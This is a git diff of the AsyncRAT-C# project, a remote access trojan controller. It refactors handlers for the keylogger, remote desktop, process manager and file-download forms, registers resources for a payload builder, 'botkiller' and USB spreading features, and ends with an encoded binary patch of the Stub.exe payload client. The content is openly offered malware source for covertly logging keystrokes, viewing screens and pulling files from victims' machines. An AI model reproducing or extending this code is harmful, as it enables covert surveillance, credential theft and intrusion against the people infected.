(FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; try { if (RD != null) { + if (RD.C2 == null) + { + RD.C2 = client; + RD.timer1.Start(); + } byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); @@ -120,18 +162,14 @@ namespace AsyncRAT_Sharp.Handle_Packet RD.FPS++; if (RD.sw.ElapsedMilliseconds >= 1000) { - RD.Text = "RemoteDesktop:" + Client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); + RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); RD.FPS = 0; RD.sw = Stopwatch.StartNew(); } } else { - //MsgPack msgpack = new MsgPack(); - //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - //msgpack.ForcePathObject("Option").AsString = "false"; - //Client.BeginSend(msgpack.Encode2Bytes()); - Client.Disconnected(); + client.Disconnected(); return; } } @@ -147,13 +185,13 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID]; + FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; if (PM != null) { PM.listView1.Items.Clear(); - string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString; - string data = AllProcess.ToString(); - string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None); + string msgUnpack = unpack_msgpack.ForcePathObject("Message").AsString; + string processLists = msgUnpack.ToString(); + string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); for (int i = 0; i < _NextProc.Length; i++) { if (_NextProc[i].Length > 0) @@ -190,10 +228,10 @@ namespace AsyncRAT_Sharp.Handle_Packet string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; string file = unpack_msgpack.ForcePathObject("File").AsString; string size = unpack_msgpack.ForcePathObject("Size").AsString; - DownloadFile SD = (DownloadFile)Application.OpenForms["socketDownload:" + dwid]; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD != null) { - SD.C = Client; + SD.C = client; SD.labelfile.Text = Path.GetFileName(file); SD.dSize = Convert.ToInt64(size); SD.timer1.Start(); @@ -210,7 +248,7 @@ namespace AsyncRAT_Sharp.Handle_Packet Program.form1.BeginInvoke((MethodInvoker)(() => { string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; - DownloadFile SD = (DownloadFile)Application.OpenForms["socketDownload:" + dwid]; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD != null) { if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) @@ -232,7 +270,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - Keylogger KL = (Keylogger)Application.OpenForms["keyLogger:" + Client.ID]; + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; if (KL != null) { KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString()); @@ -242,7 +280,7 @@ namespace AsyncRAT_Sharp.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "false"; - Client.BeginSend(msgpack.Encode2Bytes()); + client.BeginSend(msgpack.Encode2Bytes()); } })); } @@ -259,7 +297,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - FileManager FM = (FileManager)Application.OpenForms["fileManager:" + Client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (FM != null) { FM.listView1.Items.Clear(); @@ -290,7 +328,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - FileManager FM = (FileManager)Application.OpenForms["fileManager:" + Client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (FM != null) { FM.listView1.Items.Clear(); @@ -351,8 +389,8 @@ namespace AsyncRAT_Sharp.Handle_Packet { Debug.WriteLine(ex.Message); } - GC.Collect(); - GC.WaitForPendingFinalizers(); + //GC.Collect(); + //GC.WaitForPendingFinalizers(); } } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs index cb11ebe..6518bfb 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs @@ -17,7 +17,7 @@ namespace AsyncRAT_Sharp return (Math.Sign(byteCount) * num).ToString() + suf[place]; } - public static async void FadeIn(Form o, int interval = 80) + public static async Task FadeIn(Form o, int interval = 80) { while (o.Opacity < 1.0) { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs index 519527c..3d5c40d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs @@ -19,7 +19,7 @@ namespace AsyncRAT_Sharp.Properties { // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -74,6 +74,26 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap botkiller { + get { + object obj = ResourceManager.GetObject("botkiller", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap builder { + get { + object obj = ResourceManager.GetObject("builder", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Byte[]. /// @@ -84,6 +104,26 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap circle_loading_gif { + get { + object obj = ResourceManager.GetObject("circle-loading-gif", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap client { + get { + object obj = ResourceManager.GetObject("client", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Byte[]. /// @@ -94,6 +134,56 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap filemanager { + get { + object obj = ResourceManager.GetObject("filemanager", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap info { + get { + object obj = ResourceManager.GetObject("info", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap logger { + get { + object obj = ResourceManager.GetObject("logger", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap msgbox { + get { + object obj = ResourceManager.GetObject("msgbox", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap play_button { + get { + object obj = ResourceManager.GetObject("play-button", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Byte[]. /// @@ -104,6 +194,36 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap process { + get { + object obj = ResourceManager.GetObject("process", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap remotedesktop { + get { + object obj = ResourceManager.GetObject("remotedesktop", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap stop__1_ { + get { + object obj = ResourceManager.GetObject("stop (1)", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Byte[]. /// @@ -113,5 +233,45 @@ namespace AsyncRAT_Sharp.Properties { return ((byte[])(obj)); } } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap tomem { + get { + object obj = ResourceManager.GetObject("tomem", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap tomem1 { + get { + object obj = ResourceManager.GetObject("tomem1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap usb { + get { + object obj = ResourceManager.GetObject("usb", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap visit { + get { + object obj = ResourceManager.GetObject("visit", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx index 90fb67f..5faaf1f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx @@ -118,19 +118,67 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\play-button.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\cGeoIp.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - ..\Resources\dnlib.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ..\Resources\Plugin.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\AsyncRAT-Sharp.exe.config;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + + ..\Resources\botkiller.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\info.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\circle-loading-gif.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\filemanager.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\usb.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\remotedesktop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\dnlib.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Plugin.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\logger.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\msgbox.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\Stub.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\stop (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index 9ad79923985f984c6fb457b1c2d3a75214761293..f2fc8d20b0c178bdf375cf0162ddeed82c6eaadb 100644 GIT binary patch delta 37091 zcmcG%349dA);?U--P5xqGnvUGlRcS`t+SGZ5W*t60)omW;tI&VIWPg0#dIQwfS}@F zKokW87eoX>5qA&~uc&~ypcp|BMNv@E3oh_~PIYH85%u2p{oZeW9c|1GRz+2?*K~DPg#Gk}0tZFo8 zo%b^)1HZ+YdRpQvaRgOWASY|9HVu$YFX7!neU>Grwv(7zbBHlT`+_k?kwvQlLpy{* z+Q*^VWmEa0&@amtCMVZ?k30p*H7AVANxGzz+Syg1mG{5MKM7s;Kzbjo0mTA8pq^aq zbE@G8NZeWVC@$4Mf*n_V9Mr$G9SkX*%2?nhz`x|33fY%u75q$P0>6OfHrR80+9#-} zffX>;B^8#LpT3;2zM;#PXLxQQ6q6B{Mfzfw!THHw4j5X1$32M(4asr`YJBbI4ran*yB zU8LRdCMSZPYZTwmD6aVo-Z#tCG%|zrNHz7q*aaz! zaqTmHnb{>KLvE}ukdB7Xg;sVQ9H=nn5v~g;$WUa}K872MqYRgS+6g&?R0>!^Q4if$ zI1pv4RphKe)F|3V$Q;;AhTKcqTOr6zUg#$U_J+DVln^@lP)9wYGYeI-FaNev2ckv# zv!j!7;iTt7NOvSX5287TFG`K&+88u?zTP&o`f8z`6bL~pZ?x^su^M!8I7NZ@gn%uy zeno<*mz{JL0-FyReF)nx(M+|WwU9P=8$-}xEmBo2h`J6IFfL-z&1T%ekd1K(!+XJE z=76>=rBq^<;95dzfBKhd>kHZ_riR;fZEV=W)}rA~Xt

Fa2Njx!S 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 